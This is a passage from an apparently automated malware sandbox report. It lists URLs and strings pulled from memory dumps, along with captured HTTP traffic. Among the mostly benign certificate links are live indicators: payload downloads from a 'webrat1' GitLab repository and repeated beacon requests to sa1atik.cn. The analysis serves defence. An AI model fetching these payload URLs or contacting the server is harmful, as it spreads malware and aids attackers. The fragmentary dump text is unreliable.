"00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcnew" - Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00002136.00000000.136196.031E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002136.00000000.136196.031E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttpdww.microp.com/pki" - Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00002136.00000000.136196.70851000.00000020.mdmp") Found URL "http://crl2.microsoft.com/pkiops/crl/microsoft%20tlsgreater" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcnew" - Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002136.00000001.137903.07842000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002136.00000001.137903.07842000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00002136.00000001.137903.07842000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0g!y5zijh3washington1redmond1microsoft" - Source: "00000000-00002136.00000001.137903.08C63000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt06" - Source: "00000000-00002136.00000001.137903.08C63000.00000004.mdmp") Found URL "http://wwoft.com/pkiops/crl/micwix:xwh:xwhttp://www.microsoft.com/pkiops/cwinpropcallsite.targetcallsite.targetcallsite.targetcallsite.targetl:" - Source: "00000000-00002136.00000001.137903.08C7C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002136.00000001.137903.08D33000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002136.00000001.137903.08D33000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004224.00000000.135292.03560000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004272.00000000.136319.03E90000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" - Source: "00000000-00004272.00000000.136319.06080000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" - Source: "00000000-00004272.00000000.136319.06080000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" - Source: "00000000-00004272.00000000.136319.06080000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" - Source: "00000000-00004272.00000000.136319.06080000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" - Source: "00000000-00004272.00000000.136319.06080000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004648.00000000.135220.02C20000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=798306" - Source: "00000000-00004648.00000000.135220.04FD0000.00000004.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?" - Source: "00000000-00004648.00000000.135220.04FD0000.00000004.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?you" - Source: "00000000-00004648.00000000.135220.04FD0000.00000004.mdmp") Found URL "https://aka.ms/dotnet/app-launch-failed&gui=trueshowing" - Source: "00000000-00004648.00000000.135220.04FD0000.00000004.mdmp") Found URL "https://aka.ms/dotnet/app-launch-faileddownload" - Source: "00000000-00004648.00000000.135220.04FD0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004952.00000000.135303.00800000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.coma86b8ba6-bd30-fcb2-7ba8-ddfe750fa6bdhttps://dns.google/resolve?name=1.1.1.1j!qfyw/m" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=1.1.1.1commonprogramfiles=c:\program" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.comtcmojyhttps://cloudflare-dns.com/dns-query?name=dns.google&type=ahttps://dns.google/resolve?name=dns.google&type=a;)wnm2cloudflare-dns.comdns.googlecomputername=sf27crxottrrrdbhomepath=\users\mi3iv5onumber_of_processors=8processor_architecture=x86processor_architew6432=amd64processor_revision=4f00programdata=c:\programdatapublic=c:\users\publicsystemroot=c:\windowsuserdomain=sf27crxottrrrdbuserprofile=c:\users\mi3iv5o419ee576c5bee0ae62e258d8f80fd7cfa86b8ba6bd30fcb27ba8ddfe750fd7cfxad97d4d62878948ea661ea7a0di" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=dns.googlei<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls:" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0addtrust" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl0" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl0okk,%$rdtpm" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0x" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0+[@j'm1" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=google.come" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crlstarfield" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectsalt" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-objectgeotrust" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.chambersign.org1" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://policy.camerfirma.com0+,t" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://policy.camerfirma.com0i$y'o)yrez3__68vr1[g-hlp]iskc" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crllocal" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=google.comi<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00004952.00000000.135303.06000000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004952.00000001.135536.00800000.00000004.mdmp") Found URL "http://https://%s\%shku\runas[started" - Source: "00000000-00005096.00000000.138724.743BE000.00000002.mdmp") Found URL "https://msedge.api.cdp.microsoft.com/apihttps://to-be-replaced.invalid/cr/reporthttps://config.edge.skype.com/config/v1/edgeupdatehttps://go.microsoft.com/fwlink/?linkid=2068169&https://go.microsoft.com/fwlink/?linkid=2111568&software\microsoft\edgeupdate\downloaderlockout%d," - Source: "00000000-00005096.00000000.138724.743BE000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=2348704&gethelp_windowsupdategethelptestsourceextra_codeguverproductfrom_extra_code%1%2atl:%p%s" - Source: "00000000-00005096.00000000.138724.743BE000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005500.00000000.135851.03B40000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005500.00000001.137772.03B40000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005500.00000002.139690.03B40000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/" - Source: "00000000-00005500.00000002.139690.08400000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20code%20signing%20pca%202024.crl0ma0_0]q[8wqhttp://www.microsoft.com/pkiops/certs/microsoft%20code%20signing%20pca%202024.crt0a[(wv[" - Source: "00000000-00007728.00000000.138254.00D20000.00000004.mdmp") Found URL "http://www.microsoft.coqzrts/microoceraut2011_2011_03_22.crt0/+-pjqz8v1g" - Source: "00000000-00007728.00000000.138254.00D20000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=798306" - Source: "00000000-00007748.00000000.135293.AA2CA000.00000002.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?" - Source: "00000000-00007748.00000000.135293.AA2CA000.00000002.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?you" - Source: "00000000-00007748.00000000.135293.AA2CA000.00000002.mdmp") Found URL "https://aka.ms/dotnet/app-launch-failed&gui=trueshowing" - Source: "00000000-00007748.00000000.135293.AA2CA000.00000002.mdmp") Found URL "https://aka.ms/dotnet/app-launch-faileddownload" - Source: "00000000-00007748.00000000.135293.AA2CA000.00000002.mdmp") Found URL "https://aka.ms/dotnet/app-launch-faileddownload" - Source: "00000000-00007748.00000000.135293.D7920000.00000004.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.36\systemtproduc,ntdll.dll," - Source: "00000000-00007748.00000000.135293.D7920000.00000004.mdmp") Found URL "https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.36" - Source: "00000000-00007748.00000000.135293.D7920000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20code%20signing%20pca%202024.crl0ma0_0]qhttp://www.microsoft.com/pkiops/certs/microsoft%20code%20signing%20pca%202024.crt0_gyu" - Source: "00000000-00007992.00000000.138392.04DF0000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0/+-pjrg4!" - Source: "00000000-00007992.00000000.138392.04DF0000.00000002.mdmp") Found URL "https://www.microsoft.com" - Source: "00000000-00007992.00000000.138392.04DF0000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007992.00000000.138392.04DF0000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" - Source: "00000000-00007992.00000000.138392.04DF0000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00007992.00000000.138392.04DF0000.00000002.mdmp")60:T46a,GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 88 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 335 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 75 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 69 Content-Type: application/octet-stream Accept-Encoding: gzip GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 62127 Content-Type: application/octet-stream Accept-Encoding: gzip GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1 Host: gitlab.com Connection: Keep-Alive GET /users/sign_in HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1 GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1 61:T1375,Contains base62 string in header "222166F75FD3671F181970045E3D66DC;" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "253D222166F75FD3671F181970045E3D6" in header "GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "3D222166F75FD3671F181970045E3D66D" in header "GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: uuid2=1985145131094649822Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "25253D222166F75FD3671F181970045E3" in header "GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: uuid2=1985145131094649822Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base62 string in header "3D222166F75FD3671F181970045E3D66D" in header "GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D HTTP/2Host: m.adnxs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Cookie: anj=dTM7k!M4/8CxrEQF']wIg2In>ts*e/!]tbP6j2F-XstGt!@Dn-$r*+/Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"X-Edge-Shopping-Flag: 1Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image"62:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp")63:T7c2,Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: msedgeupdate.dll] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: MicrosoftEdgeWebview2Setup.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: psuser_64.dll] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: psmachine_64.dll] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: psmachine_arm64.dll] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: psuser_arm64.dll] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: psmachine.dll] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: psuser.dll] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: MicrosoftEdgeUpdateCore.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: MicrosoftEdgeUpdateComRegisterShell64.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: MicrosoftEdgeUpdate.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: MicrosoftEdgeComRegisterShellARM64.exe] Observed import api "GetCommandLineA" which can "retrieve the command-line string for the current process" [Source: MicrosoftEdgeUpdateBroker.exe] Observed import api "GetCommandLineA" which can "retrieve the 